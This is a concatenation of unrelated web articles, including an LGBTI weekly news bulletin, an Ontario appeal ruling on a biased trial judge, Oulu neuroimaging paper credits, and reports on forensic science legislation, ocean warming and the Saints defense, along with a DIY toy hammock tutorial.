transitions is a decision made between a patient and their health care provider, and is unique to each person. It also supports what we all know to be true – that in today’s world having identity documents that accurately reflect who you are is vital in order to access basic things like housing, employment, and health care. “Having identity documents that accurately reflect who you are is vital in so many areas of everyday life — from applying for a job to exercising our rights at the ballot box. Many of us wouldn’t think twice when asked to show our ID, but this is a very serious issue for transgender people.” – Masen Davis, Executive Director See also: Recently, the Social Security Administration updated their policies to change your gender. In California, Transgender Law Center is working to pass a bill that would simplify the costly and burdensome process of ammending your birth certificate. -LGBulleTIn #82 - The week in LGBTI news March 24-30, 2017 Friday, March 24 European Union releases report on LGBTI asylum seekers The EU Agency for Fundamental Rights has issued a report entirely dedicated to the situation of LGBTI asylum seekers, highlighting how member states need to step up by providing information, clear guidelines and trainings on the rights and specific needs of this community. According to the document, in fact, there are still no official statistics on the number of asylum claims based on sexual orientation or gender identity. The report also highlights how only a few member states have specific national guidelines for interviewing LGBTI persons, and special accommodation facilities for LGBTI asylum seekers are still rare. The voice of NGOs is also present in the report: they are often the ones who provide reception centres staff with training on specific vulnerabilities suffered by LGBTI asylum seekers, as asylum officers tend to have stereotypical views on sexual orientation and gender identity issues. "LGBTI persons may have special reception needs and/or grounds for international protection that are related to distinct vulnerabilities," the report reads. "Member state authorities need to establish whether or not this is the case using adequate, effective and fundamental rights-compliant ways to ensure appropriate reception and protection conditions for LGBTI persons." ~~~ Friday, March 24 Taiwan: court begins to hear marriage equality case Taiwan's constitutional court heard today a case that could make it the 1st place in Asia to allow same-sex marriage https://t.co/wwfhP7ytUh pic.twitter.com/FrRDhBJLmm — AFP news agency (@AFP) March 24, 2017 The Council of Grand Justices of Taiwan has begun to hear a constitutional challenge concerning marriage equality, brought by a human rights advocate as well as the Taipei City Government. At the core of the debate is an article of the civil code defining marriage as an agreement made by “male and female parties.” Plaintiffs are challenging the constitutionality of such article: according to Taipei Times, this would make Taiwan the first Asian nation to agree to a constitutional interpretation on this issue. According to BBC, parliament will be forced to amend the laws to offer protection to same-sex couples, should the judges rule that Taiwan's current ban is unconstitutional. As justices were hearing the case, LGBTI activists turned up in front of the court in Taipei, as did anti-marriage equality protesters. A ruling is expected to be released in two months' time. ~~~ Friday, March 24 IACHR condemns alarming numbers of LGBT killings in the American region The Inter-American Commission on Human Rights (IACHR) condemned the alarming number of killings of lesbian, gay, bisexual, and trans people in the region. In the first three months of 2017 alone, at least 41 serious crimes against LGBT persons have been reported in Argentina, Brazil, Colombia, El Salvador, the United States, and Venezuela. A statement released by the Commission includes a long list of crimes, which unfortunately might be only the tip of the iceberg. “This situation in disturbing and unsustainable,” said Commissioner Francisco Eguiguren Praeli, IACHR Rapporteur on the Rights of Lesbian, Gay, Bisexual, Trans, and Intersex Persons. “States must urgently adopt the necessary measures to put an end to these situations and ensure that these crimes are investigated using a differentiated approach.” The Commissioner also noted “the high levels of barbarity and cruelty” of such crimes. “There must be no impunity,” he added, “and reparation must be made to the victims and their families.” ~~~ Friday, March 24 Uganda: LGBTI human rights defender included in list of world’s greatest leaders Human rights defender Frank Mugisha has been included in the Fortune's annual list of the world's greatest leaders over his activism for rainbow communities in Uganda. Mugisha, Executive Director of Sexual Minorities Uganda, is one of the three people coming from Africa to be featured in the list. “Imagine functioning in a society that still criminalizes—and even debates the death penalty for—homosexual activity,” the article reads. “That is the world facing Frank Mugisha. The 37-year-old, who came out at 14, spoke out against the country’s Anti-Homosexuality Bill, which mandated life in prison for LGBT Ugandans, and he led the campaign that eventually led to the bill’s invalidation by the courts. More battles lie ahead for a leader of a community that faces open hostility.” ~~~ Wednesday, March 29 Historic media workshop on Indigenous LGBTIQ issues held in Samoa In a historic first for Samoa, representatives of media outlets took part in a workshop to discuss fair and accurate reporting on Fa’afafine, Fa’afatama and LGBTIQ issues. Such a meeting, hosted by Samoa Fa’afafine Association, was “long overdue,” facilitator Vaitoa Toelupe was quoted as saying, and the need for it had become evident after in June last year a national newspaper published a photograph of Jeanine Tuivaiki on its front page, and repeatedly misgendered her while reporting on her death. According to Samoa Planet, the workshop was presented as an opportunity for media representatives to learn more about Fa’afafine and Fa’afatama, and vice versa. “There are too many assumptions being made,” Toelupe was quoted as saying. “Too often you assume you know our issues, but you don’t.” A wide variety of topics was discussed during the workshop, including the difference among sex, gender identity and sexual orientation, the need to avoid misgendering people and asking them inappropriate questions, and Fa’afafine and Fa’afatama as specific cultural identities. ~~~ Thursday, March 30 United States: North Carolina passes so-called “repeal” of House Bill 2 North Carolina lawmakers have approved the repeal of House Bill 2, a law that limited protections for people on the basis of their sexual orientation and gender identity, and Governor Roy Cooper quickly signed the measure into law. But the terms of the deal have been harshly criticised by human rights advocates, who claim that the new bill keeps in place the most harmful parts of the previous law. HB2 banned trans people from restrooms that matched their gender identity in public facilities, and also blocked local jurisdictions from enacting their own non-discrimination ordinances on the grounds of sexual orientation and gender identity. As Vox explains, the deal gets rid of the former part - as state and local agencies in North Carolina can no longer regulate access to public facilities - but, for the same reason, it also prevents them to set up more inclusive policies. On the other hand, the deal would also continue to prohibit local governments from passing non-discrimination laws until December 1, 2020. Several human rights organisations have issued statements condemning the law. “North Carolina lawmakers should be ashamed of this backroom deal that continues to play politics with the lives of LGBT North Carolinians," said James Esseks, director of the ACLU LGBT Project, while Human Rights Campaign President Chad Griffin argued that this law "institutes a statewide prohibition on equality by banning non-discrimination protections across North Carolina and fuels the flames of anti-transgender hate." Is that all? More LGBTI news bites This week, bisexual people from around the world took to Twitter to share photos of themselves and their stories under the trending hashtag #BiTwitter. The latest Trans Murder Monitoring project update revealed 2,343 reported killings of trans and gender-diverse people in 69 countries worldwide between 2008 and 2016. In Sweden, the government announced it will financially compensate trans people who were forcibly sterilised in order to comply with the previous requirements in the Swedish legal gender recognition act. The Network of European LGBTIQ* Families Associations (NELFA) held its annual conference in Naples, Italy, raising awareness of the need for full recognition, equal treatment and acceptance for LGBTIQ* parents and their children. A civil society organisation in Tonga has kicked off a campaign in the country's schools to tackle bullying against trans students. In Australia, advocates are urging people to email the Prime Minister and MPs asking them not to support a proposal for a non-compulsory postal vote on marriage equality. The GIJN - Global Investigative Journalism Network Conference in South Africa is offering fellowships to journalists in developing or transitioning countries who are focusing on LGBTQ issues. Nonprofit support organization for LGBT people Icebreakers Uganda reported an attempt to break into their offices. "We found signs of forced entry at the gate and blood at the main door," they wrote. In Chile, the Senate Human Rights Commission resumed votes on the Gender Identity Law, and approved a proposal to bar minors from the possibility to correct the given name and sex assigned at birth in their civil registry. A coalition of feminist and LGBTIQ groups in Trinidad and Tobago launched a safety and self-defence campaign. The federal administration in the United States removed sexual orientation and gender identity as proposed subjects for possible inclusion on the Decennial Census and/or American Community Survey in the future. A 27-year-old resident of Oregon, United States has been legally recognised as agender. A new study has estimated that the cost of discrimination against LGBT persons in Indonesia could range from nearly 900 million to 12 billion US dollars a year. The Philippine Independent Church has released a statement affirming “the equality of all people in the eyes of God,” apologising “for the hurt and neglect the Church has subjected the LGBTQI+ community to,” and committing “to the betterment of LGBTQI+ individuals." Is there any other LGBTI-related news that you would like to share with us? Drop us a line on Facebook or tweet @ilgaworld! -Jason Bateman has described the plot of the upcoming Arrested Development movie as "incredible". In an interview with MTV News, the actor - who played Michael Bluth in the Fox comedy series - admitted that while the script for the big-screen adaptation has yet to be completed, he feels confident that series creator Mitch Hurwitz will make sure the project comes to fruition soon. "It's incredible. It's everything you would want it to be and more. I really hope he finishes it soon so we can have a shot of doing it before the end of the year," he said. "For the very first time, [Mitch] sat me down last week to talk about what he's got and where he's going and what do I think. As a fan of the show, I was vibrating with excitement that he was pulling me behind the curtain. So I can confirm what his update was, which was that he is very deep into the work on it and the odds of him getting it done before the end of the year, as he says he wants to, are good." Bateman went on to say that he is uncertain why it took the project so long to get off the ground, adding: "It is embarrassing. We are embarrassed." -A provincial court judge who teed off on a man accused of sexual assault, calling him “utterly incredible” and accusing him of staging a “dramatic and insincere” crying jag in the witness box, didn’t try the case fairly and has been overturned on appeal. The decision came Wednesday from the Ontario Court of Appeal, which found that Ontario Court Judge Stephen Brown used “intemperate and insulting language” towards the accused man, one P.G., and “let his personal feelings” about him “overtake his objectivity.” The three-member appeal court, in a decision written by Justice Jean MacFarland, set aside the conviction and ordered a new trial. Alas for P.G., he has already served his sentence, six months in jail. He is identified only by initials in order to protect the teenaged complainant in the case. Now 42, P.G. was at the time of the alleged assaults the live-in boyfriend of the girl’s mother. At first blush, it seems to be a very shaky case The appeal court was critical not just of the trial judge, but also of Superior Court Judge Bruce Durno, who heard the first, or summary conviction, appeal of the case, and dismissed it — failing, the high court said, to recognize that the trial judge had improperly cut off proper cross-examination of the complainant and that his decision disclosed a reasonable apprehension of bias that rendered P.G.’s trial unfair. P.G. was convicted by Brown on April 2, 2014 of three counts of sexual assault — all involving alleged touching and fondling — on the girl, who was 15 at the time. The appeal court was particularly harsh on Brown not only for his treatment of P.G., but also for how he characterized the conduct of the witness who testified in P.G.’s support (the girl’s mother) and even his lawyer, David Bayliss. The case was complicated — as even Brown said once, “At first blush, it seems to be a very shaky case” — and the evidence of the girl problematic. After all, she had sworn an affidavit recanting her allegations 17 months after she made them, then recanted that recantation at trial. She also has serious and troubling personal issues, a history of suicide attempts and cutting herself, and was distressed by her parents’ acrimonious separation. Bayliss was asking her what she understood her psychiatric diagnoses to be – not what they actually are, but how she perceived them – when Brown ruled the question inadmissible. The point of the question, the high court said, “related to certain evidence that the defence had obtained from the complainant’s social media account. “This was not an overwhelming case; there were serious issues with the complainant’s evidence… The thrust of the defence position was that (she) fabricated the allegations. Her credibility was the key issue. “To preclude proper cross-examination in a key area was a serious error on the trial judge’s part,” the court said, and prevented P.G. from making what’s called “a full answer and defence” to the charges. It’s probably the most fundamental right of an accused person — the right to completely answer and respond to each and every allegation made against him. It’s also probably the most central duty of the defence lawyer, to see that this is done. Yet for his efforts, Bayliss’s cross-examination was described by Brown as a “prolonged and brutal attack on her (the complainant’s) character.” Here it is apparent that this trial judge let his personal feelings about (P.G.) and his witness overtake his objectivity Brown also said Bayliss had “mocked and belittled” the girl and launched “a full-scale attack on a disturbed and vulnerable teenager” that was “distasteful.” Brown went even further in his characterization of the girl’s mother, who testified as a defence witness and whom he described as “such a biased and unbelievable and unpleasant witness that she ranks in my Top 10 of witnesses in my entire career both as a lawyer and as a judge that I can say that I do not believe a word that she says.” He said she “relentlessly pressured her daughter to recant her allegations” (though the daughter did have an independent lawyer advising her at the time) and that “she would say anything to paint her boyfriend in a positive light and her daughter in a negative one. “She was utterly despicable in my view and a totally unbelievable witness.” The appeal court was clearly shocked, calling “the use of this intemperate and insulting language” inappropriate “and uncalled for and demonstrates a clear lack of impartiality.” “The trial judge’s task is to impartially assess the witness’s credibility. “It is not part of his role to denigrate her character… Here it is apparent that this trial judge let his personal feelings about (P.G.) and his witness overtake his objectivity.” The case is reminiscent of another high-profile sexual assault trial now under review. When now-retired Ontario Court Judge Marvin Zuker convicted York University graduate student Mustafa Ururyar of sexually assaulting fellow grad student Mandi Gray last year, he too used florid language to describe Ururyar and was sneering and contemptuous of him. The cases appear to illustrate a schism in the bar, between lawyers (they are the ones in the courts every day) who demand to be able to as vigorously defend their clients accused of sexual assault as those accused of any other crime, and those who write learned papers (they are the ones rarely in the courtroom) about the pervasiveness of stereotyping female sex assault complainants and who essentially urge lawyers to rein themselves in. • Email: cblatchford@postmedia.com | Twitter: blatchkiki -Affiliations Department of Diagnostic Radiology, Medical Research Center (MRC), Oulu University Hospital, Oulu, Finland, Oulu Functional NeuroImaging Group, Research Unit of Medical Imaging, Physics and Technology, the Faculty of Medicine, University of Oulu, Oulu, Finland Affiliations Department of Diagnostic Radiology, Medical Research Center (MRC), Oulu University Hospital, Oulu, Finland, Oulu Functional NeuroImaging Group, Research Unit of Medical Imaging, Physics and Technology, the Faculty of Medicine, University of Oulu, Oulu, Finland Affiliations Oulu Functional NeuroImaging Group, Research Unit of Medical Imaging, Physics and Technology, the Faculty of Medicine, University of Oulu, Oulu, Finland, Department of Clinical Neurophysiology, MRC, Oulu University Hospital, Oulu, Finland Affiliations Physiological Signal Analysis Team, Center for Machine Vision and Signal Analysis, MRC Oulu, University of Oulu, Oulu, Finland, Department of Clinical Neurophysiology, MRC, Oulu University Hospital, Oulu, Finland Affiliations Department of Diagnostic Radiology, Medical Research Center (MRC), Oulu University Hospital, Oulu, Finland, Oulu Functional NeuroImaging Group, Research Unit of Medical Imaging, Physics and Technology, the Faculty of Medicine, University of Oulu, Oulu, Finland Affiliations Department of Diagnostic Radiology, Medical Research Center (MRC), Oulu University Hospital, Oulu, Finland, Oulu Functional NeuroImaging Group, Research Unit of Medical Imaging, Physics and Technology, the Faculty of Medicine, University of Oulu, Oulu, Finland About the Authors Vesa Kiviniemi * E-mail: vesa.kiviniemi@oulu.fi Affiliations Department of Diagnostic Radiology, Medical Research Center (MRC), Oulu University Hospital, Oulu, Finland, Oulu Functional NeuroImaging Group, Research Unit of Medical Imaging, Physics and Technology, the Faculty of Medicine, University of Oulu, Oulu, Finland Vesa Korhonen Affiliations Department of Diagnostic Radiology, Medical Research Center (MRC), Oulu University Hospital, Oulu, Finland, Oulu Functional NeuroImaging Group, Research Unit of Medical Imaging, Physics and Technology, the Faculty of Medicine, University of Oulu, Oulu, Finland Jukka Kortelainen Affiliations Physiological Signal Analysis Team, Center for Machine Vision and Signal Analysis, MRC Oulu, University of Oulu, Oulu, Finland, Department of Clinical Neurophysiology, MRC, Oulu University Hospital, Oulu, Finland Seppo Rytky Affiliation Department of Clinical Neurophysiology, MRC, Oulu University Hospital, Oulu, Finland Tuija Keinänen Affiliations Oulu Functional NeuroImaging Group, Research Unit of Medical Imaging, Physics and Technology, the Faculty of Medicine, University of Oulu, Oulu, Finland, Department of Clinical Neurophysiology, MRC, Oulu University Hospital, Oulu, Finland Timo Tuovinen Affiliations Department of Diagnostic Radiology, Medical Research Center (MRC), Oulu University Hospital, Oulu, Finland, Oulu Functional NeuroImaging Group, Research Unit of Medical Imaging, Physics and Technology, the Faculty of Medicine, University of Oulu, Oulu, Finland Matti Isokangas Affiliation Department of Diagnostic Radiology, Medical Research Center (MRC), Oulu University Hospital, Oulu, Finland Eila Sonkajärvi Affiliation Department of Anaesthesiology, MRC, Oulu University Hospital, Oulu, Finland Topi Siniluoto Affiliation Department of Diagnostic Radiology, Medical Research Center (MRC), Oulu University Hospital, Oulu, Finland Juha Nikkinen Affiliation Department of Oncology, MRC, Oulu University Hospital, Oulu, Finland Seppo Alahuhta Affiliation Department of Anaesthesiology, MRC, Oulu University Hospital, Oulu, Finland Osmo Tervonen Affiliations Department of Diagnostic Radiology, Medical Research Center (MRC), Oulu University Hospital, Oulu, Finland, Oulu Functional NeuroImaging Group, Research Unit of Medical Imaging, Physics and Technology, the Faculty of Medicine, University of Oulu, Oulu, Finland Taina Turpeenniemi-Hujanen Affiliation Department of Oncology, MRC, Oulu University Hospital, Oulu, Finland Teemu Myllylä Affiliation Health & Wellness Measurement Group, Optoelectronics and Measurement Techniques Unit, University of Oulu, Oulu, Finland Outi Kuittinen Affiliation Department of Oncology, MRC, Oulu University Hospital, Oulu, Finland Juha Voipio Affiliation Department of Biosciences, University of Helsinki, Helsinki, Finland Competing Interests The authors have the following potential competing interests: OK: advisory board Roche, Gilead; congress grant Roche, Takeda. MI and TS: institutional sponsorship for congress attendance from Stryker, Codman and Covidien. This does not alter our adherence to PLOS ONE policies on sharing data and materials. Author Contributions Conceptualization: V. Kiviniemi OK MI ES TS JN SA OT TTH. Data curation: V. Korhonen JK TK TT TM. Formal analysis: V. Korhonen JK TK TT TM. Funding acquisition: V. Kiviniemi V. Korhonen OT. Investigation: V. Kiviniemi V. Korhonen TK TT MI TS ES TM. Methodology: V. Kiviniemi V. Korhonen JK SR TK TT MI ES TS JN SA OT TTH TM OK JV. Project administration: JV OT SA TTH JN. Resources: TTH OK SA OT V. Kiviniemi. Software: V. Korhonen JK TK TT TM. Supervision: JV OT SA TTH JN V. Kiviniemi. Validation: V. Kiviniemi V. Korhonen JK SR TK TT MI TS TTH OK JV. Visualization: V. Kiviniemi V. Korhonen JK SR TK TT MI TS TTH OK JV. Writing – original draft: V. Kiviniemi V. Korhonen JK SR TK TT MI TS TTH OK JV. Writing – review & editing: V. Kiviniemi JV V. Korhonen MI JK. -Investigators who linked DNA from Occupy Wall Street protesters to a murder scene in New York City recently admitted that they had made a mistake. No one was put behind bars, but all too often, they are. A piece of legislation proposed yesterday seeks to end wrongful convictions through better forensic science. Democrats in the US Senate and House of Representatives say that the Forensic Science and Standards Act would spur more research and higher standards in forensic work. “To ensure justice is being served, we want law enforcement and forensic practitioners to work alongside scientists and researchers to make sure that forensic evidence stands up to scientific rigor,” said Representative Eddie Bernice Johnson (Democrat–Texas) in an official statement. The bill calls for the creation of a forensic-science committee, chaired by the National Institute of Science and Technology (NIST), which would assess how best to handle material from a crime scene, for example, and issue guidelines. Meanwhile, basic research into new forensic-science tools and techniques might fall under the guise of a proposed National Forensic Science Coordinating Office, housed at the US National Science Foundation (NSF). Over the next five years, the bill would provide US$200 million in grants for forensic-science research, and $100 million for the development of forensic-science standards. The NSF and NIST now support forensic research, but the bill proposes a more coordinated approach. Projects funded in the past include automated approaches to handwriting analysis, tracking using vultures outfitted with global positioning systems, and enhanced methods for detecting slight traces of drugs. But no central body for forensics exists. Policy-makers reference a 2009 report from the National Academy of Sciences that highlighted cases in which information based on faulty forensic analyses contributed to the wrongful convictions of innocent people. The Innocence Project, a non-profit legal group based in New York, says that about half of the 292 wrongful convictions overturned through DNA testing over the past few decades involved poor forensic science. Peter Neufeld, co-director of the project, calls the bill a “giant step forward”. (Separately, the Innocence Project also said in a statement posted this week that it is aiding the US Department of Justice and the Federal Bureau of Investigation in a broad review of cases that involved hair and fibre analysis.) Although both the 2009 report and the Innocence Project highlight the utility of DNA evidence, it’s the quality of the test that matters. Here too, scientists can help. For example, a DNA test provided the evidence that sent Robert Dewey to jail in 1996 for the rape and murder of a 19-year-old woman in Colorado. Seventeen years later, in April, the court declared Dewey innocent on the basis of new results from a re-test of the DNA extracts with more advanced methods. On 18 July the Senate Judiciary Committee will hold a hearing on the bill presented yesterday by John Rockefeller IV of the Senate Committee on Commerce, Science and Transportation, along with Johnson, Donna Edwards and Daniel Lipinski of the House Committee on Science, Space and Technology. -Oceans Getting Hotter Than Anybody Realized The RV Kaharoa motored out of Wellington, New Zealand on Saturday, loaded with more than 100 scientific instruments, each eventually destined for a watery grave. Crewmembers will spend the next two months dropping the 50-pound devices, called Argo floats, into the seas between New Zealand and Mauritius, off the coast of Madagascar. There, the instruments will sink and drift, then measure temperature, salinity and pressure as they resurface to beam the data to a satellite. The battery-powered floats will repeat that process every 10 days — until they conk out, after four years or more, and become ocean junk. Under an international program begun in 2000, and that started producing useful global data in 2005, the world’s warming and acidifying seas have been invisibly filled with thousands of these bobbing instruments. They are gathering and transmitting data that’s providing scientists with the clearest-ever pictures of the hitherto-unfathomed extent of ocean warming. About 90 percent of global warming is ending up not on land, but in the oceans. An Argo float. Credit: Alicia Navidad/CSIRO. Research published Sunday concluded that the upper 2,300 feet of the Southern Hemisphere’s oceans may have warmed twice as quickly after 1970 than had previously been thought. Gathering reliable ocean data in the Southern Hemisphere has historically been a challenge, given its remoteness and its relative paucity of commercial shipping, which helps gather ocean data. Argo floats and satellites are now helping to plug Austral ocean data gaps, and improving the accuracy of Northern Hemisphere measurements and estimates. “The Argo data is really critical,” said Paul Durack, a Lawrence Livermore National Laboratory researcher who led the new study, which was published in Nature Climate Change. “The estimates that we had up until now have been pretty systematically underestimating the likely changes.” Durack and Lawrence Livermore colleagues worked with a Jet Propulsion Laboratory scientist to compare ocean observations with ocean models. They concluded that the upper levels of the planet’s oceans — those of the northern and southern hemispheres combined — had been warming during several decades prior to 2005 at rates that were 24 to 58 percent faster than had previously been realized. That rapid ocean warming has consequences for the Earth’s climate and its shorelines. “We continue to be stunned at how rapidly the ocean is warming,” said Sarah Gille, a Scripps Institution of Oceanography professor. Gille was not involved with this paper, nor was she involved with a similar one published Sunday that examined the role of ocean warming in rising sea levels. She described both of them as “tremendously interesting” studies. “Even if we stopped all greenhouse gas emissions today, we'd still have an ocean that is warmer than the ocean of 1950, and that heat commits us to a warmer climate,” Gille said. “Extra heat means extra sea level rise, since warmer water is less dense, so a warmer ocean expands.” Ocean warming is exacerbating flooding caused by the melting of glaciers and other ice. Seas have risen 8 inches since the industrial revolution, and they continue to rise at a hastening pace, worsening floods and boosting storm surges near shorelines around the world. Another 2 to 7 feet of sea level rise is forecast this century, jeoparizing the homes and neighborhoods of the 5 million Americans who live less than 4 feet above high tide, as well as those of the hundreds of millions living along coastlines in other countries. The other ocean temperature study, also published Sunday in Climate Nature Change, used Argo and other data to tentatively conclude that all of the ocean warming from 2005 to 2013 had occurred above depths of 6,500 feet. During the same period, the Jet Propulsion Laboratory scientists who wrote the paper concluded, the expansion of those warming waters caused a third of the planet’s 2.8 millimeters of annual sea-level rise. Sunday’s papers joined more than 1,000 others published so far that have used Argo float data to improve science’s understanding of waterways that are climatically influential but difficult to measure manually. “This research covers a very broad range of topics including ocean circulation, water mass formation and spreading, mesoscale eddies, interannual variability such as El Niño, decadal variability, and multi-decadal climate change,” said Scripps Institution of Oceanography professor Dean Roemmich, who was in New Zealand last week preparing Argo floats for deployment by the RV Kaharoa’s crew. “The program has revolutionized large-scale physical oceanography.” Steve Rintoul, a researcher at Australia’s Commonwealth Scientific and Industrial Research Organisation, or CSIRO, said findings of ocean warming above 6,500 feet in the Jet Propulsion Lab’s study explain the recent slowdown in warming at the Earth’s surface, which is sometimes called global warming hiatus, or warming pause. “An important result of this paper is the demonstration that the oceans have continued to warm over the past decade, at a rate consistent with estimates of Earth’s net energy imbalance,” Rintoul said. “While the rate of increase in surface air temperatures slowed in the last 10 to 15 years, the heat stored by the planet, which is heavily dominated by the oceans, has steadily increased as greenhouse gases have continued to rise.” That extra heat isn’t expected to swim with the fishes forever. Some of it will eventually rise from the deep, raising temperatures in places that more directly affect us landlubbers. Just how rapidly the oceanic heat will resurface to warm the land is “something that we struggle with,” said Scripps’s Gille. But she said heat is constantly shifting between oceans and the atmosphere. “A warmer ocean will mean a warmer atmosphere.” Editor's note: This story has been updated to reflect that the study was published in Nature Climate Change. You May Also Like: Science Shows How Climate Change is Baking Australia Fracking Emissions Fall; Texas Still King of GHGs Climate Fueled Some of 2013’s Most Extreme Events Arctic Sea Ice to Reach Sixth Lowest Extent on Record Picture This: Fall Snow and Bizarre Clouds Over NYC -In Part 2 of episode 25, join your hosts Rob Galluzzo, Ryan Turek, Elric Kane and Rebekah McKendry as they welcome on special guests Chela Johnson and Garo Setian from Lionsgate! Chela is the Vice President of marketing in Home Entertainment and the one that helped make this Vestron line a reality! And Garo is an in-house editor for Lionsgate and has been the man behind hundreds of trailers, TV spots and promotional videos, including the new trailers for the Vestron Blu-Ray releases. We delve into their history with horror and Lionsgate. Discuss the first 6 titles in the Vestron Blu-Ray library, which consist of CHOPPING MALL, BLOOD DINER, WAXWORK 1 and 2, RETURN OF THE LIVING DEAD 3 and CHUD II: BUD THE CHUD. Not only do we learn about how this line came to be, but we make suggestions for titles we'd personally like to see. Then we talk about the importance of horror movie trailers! This includes the most successful ones, our favorite teasers and much, much more. Kick back, relax and enjoy! -For a while I have been looking for a place to store all of Nicole’s stuffed animals. My husband even went out and bought one of the nets that you put up in the corner of the room. This was when we realized that: 1) we didn’t have a corner large enough in her room to put it 2) it was no where large enough to hold even a fraction of her stuffed animals and 3) it was a pain in the butt to install. What we really needed was a little hammock that we could put on a wall and not in a corner. A while ago I was at Ikea with my friend Ashley and she found curtain panels in their clearance section for $2 each. These were perfect for the project I had in mind. Then I came up with how I was going to make the toy hammock. The cost for me to make this hammock ended up being under $5. I also have enough “netting” to make 7 more. How to make a toy hammock: Supplies: Netting or any other fabric, depending on the fabric you may need to finish the edges on all 4 sides. Size will depend on how small or large you want your hammock to be. (Price varies: shop for odds and ends pieces, sales, clearance sections) Yarn or thread – yarn works really well with the netting, thread would be better for other fabrics. Yarn or thread needle (around $3 from your local craft store) Scissors Hooks – 2 pack with hardware (around $3.50 from your local hardware store) Pencil Tape measure Screwdriver Directions: Cut netting to desired dimensions. I cut the curtain panel I purchased into 4. The final measurement was 68″ x 60″ . Fold shorter side of netting in half (inside of fabric facing each other). Single thread your needle and start threading it through the netting about 3″ from the ends. Can be more or less depending on how big of a “fan” you want on the ends. The yarn through the netting prevents the netting from slipping through the yarn once the ends are finished. Continue threading yarn through entire length of folded netting keeping the netting on the needle. This allows you to keep the fabric bunched to make it easier to finish the ends. Wrap the yarn completely around the fabric about 5 times. Make sure there is enough slack in the yarn to be able to fit the hook though and not too much slack to put all the weight on the inside stitch. Wrap the ends underneath the 5 layers a few times to give you a good spot to hang on the hook and tie off the ends of the yarn. This is what will hold the weight of everything in the hammock so make sure there are enough layers to hold the desired weight. Repeat the process for the other end of the hammock. Pick a place on the wall that will fit the hammock. Find a height that is easily accessible (depending on the purpose of the hammock) and provides a little hang of the hammock. If it’s too high, your child will not be able to play with their toys. If the hammock is too tight or loose, the toys will not site nicely in the hammock. Hold up the hammock against the wall and mark the placement of the hook loops on the wall with the pencil. This will be where you need to put your hooks. Measure the height of the pencil marks and make adjustments as needed so that the height is even. Affix the hooks to the wall. I chose to use hooks that screw into the wall as they can hold more weight than the sticky hooks. Hang up your hammock on the hooks. Fill with toys and you are done. Personalization: Use different colours of yarn on the end. Add dangling pompoms to the ends. These are super easy to make as well. Embroider designs onto the netting using yarn (or embroidery thread depending on fabric). Use you child’s favorite colour or character fabric. Alternative uses: pet toys How do you store all of your kids stuffed toys? -METAIRIE, La. -- The New Orleans Saints defense is making NFL history this year. That's not a good thing. The Saints (4-5) are on pace to allow the highest opponents' passer rating of all-time (112.0), according to the Elias Sports Bureau. The current record of 110.9 was set by the 0-16 Detroit Lions in 2008. At least the Saints have some company -- the 2015 Lions are also on pace to break the record (111.1). Big play -- like the touchdown pass given up to Delanie Walker -- have haunted the Saints defense all season. Jonathan Bachman/AP Photo When asked about that dubious distinction, several Saints players had trouble deciding whether they believe it sounds accurate. The general consensus was they aren't really that bad, but they've been too inconsistent and have allowed way too many big plays. New Orleans has allowed a league-high 11 pass plays and six touchdown passes of 40-plus yards. "I feel like we're hit or miss," safety Jairus Byrd said. "One game we come out, we look lights out. Then the next game we come out and it's like we're just, ‘What is this?'" Last week was a perfect example. The Saints forced six three-and-outs during a 34-28 overtime loss to the Tennessee Titans. But they still allowed quarterback Marcus Mariota to throw for 371 yards and four touchdowns. Byrd managed a laugh when asked how unusual it is that the Saints actually have the NFL's fourth-best defense on third downs this year -- opponents have converted only 32.7 percent. "That's kind of weird, it's kind of an anomaly," Byrd said. "If we do get you to third down, watch out." The QB rating isn't the only historically-bad mark for the Saints' defense. They are also allowing a league-high 6.47 yards per play -- which Elias says would be the most since the 1961 Minnesota Vikings (6.51). And the Saints just became the fifth team ever to allow at least four passing touchdowns without an interception in consecutive games (versus Eli Manning and Mariota). "I don't know, man," safety Kenny Vaccaro said. "I mean obviously we don't want to be the highest rating ever. But I don't see us as that. That's an interesting stat. "We gotta get better. I mean, it's obvious, it's kind of a no-brainer. We just gotta get better. We just gotta stop giving up the big plays. We make the good plays, and then we give up some bonehead type plays, you know?" Among the "bonehead" plays Vaccaro referenced were last week's collision between Byrd and cornerback Keenan Lewis that turned a sure interception into a 61-yard touchdown for Tennessee's Delanie Walker; another collision between Byrd and Vaccaro on a 41-yard touchdown by the Philadelphia Eagles' Josh Huff; and two plays where cornerback Delvin Breaux slipped and fell to allow deep scores to the Indianapolis Colts' T.Y. Hilton. Vaccaro said there have been more traditional busted coverages, as well. "It's just a number of games when the ball goes up, we need to start coming down with the ball more and not bouncing off somebody's head, getting tipped, falling down," Vaccaro said. "People say it's a fluke play, but it's happening over and over. So is it a fluke anymore? "Quarterbacks can't just throw up the ball and know, ‘OK, it's either gonna be an incompletion or we're getting the ball or a penalty.'" Penalties have also plagued the Saints -- especially fouls on cornerback Brandon Browner, who leads the NFL by a wide margin with 17 called and 15 accepted. But it's not just the secondary that has struggled. Not even close. The pass rush was way too easy on Mariota last week with zero sacks. And the injury-riddled linebacking corps got burned repeatedly by tight ends. "It doesn't just fall on the corner. The pressure falls on these inside linebackers and the guys playing underneath it," Saints coach Sean Payton said when asked why there has been so much inconsistency with New Orleans' pass defense after they made a switch to more man coverage with a single-high safety. The Saints felt it would be a better use of the cornerbacks' size and skills. It was also a simplified approach that Payton wanted to install after defensive coordinator Rob Ryan's more complicated schemes led to too many mental errors last year. "I think it fits who we are from a corner perspective, when you look at our size and you're talking about Keenan, Brandon and Breaux," Payton said. "Now, the nuances within it, and there are quite a few, we've got to be better at." Saints defensive end Cameron Jordan copped to the pass rush's part in the loss to Tennessee. "Yeah, that's something we definitely take pride in (making the opposing quarterback uncomfortable) and have to do a better job of. Clearly it wasn't enough last game," Jordan said. "Zero sacks, a couple hurries, some pressures, but not enough to really make the quarterback worried about what we're doing and where we are." When asked to assess where that defense is at this point in the season, Jordan said, "I feel that our defense is still learning." "I wouldn't say that's a great thing at this point. Sitting at 4-5, fighting to get back to .500, lost to a team that we shouldn't have lost to," said Jordan, who was still very salty over losing to the Titans, who were 1-6 heading into the game. "You never want to lose one, especially to the team we just lost to," Jordan said. "You say you face elite talent every week, but we made Mariota look way, way, way better than we should have. That's just something that you have to stomach for the week." -Photo: Supplied The Treaty of Waitangi has been lost in translation from time to time – English to Māori and Māori to English – an inaccurate process at the best. This year, 90 translators will translate both the English and Māori versions of the Treaty into 30 additional languages for the Treaty Times Thirty project. Treaty Times Thirty marks the 30th anniversary of the New Zealand Society of Translators and Interpreters (NZSTI) who will gift the translations to the nation on International Translation Day, 30 September 2016. Administrators Stefan 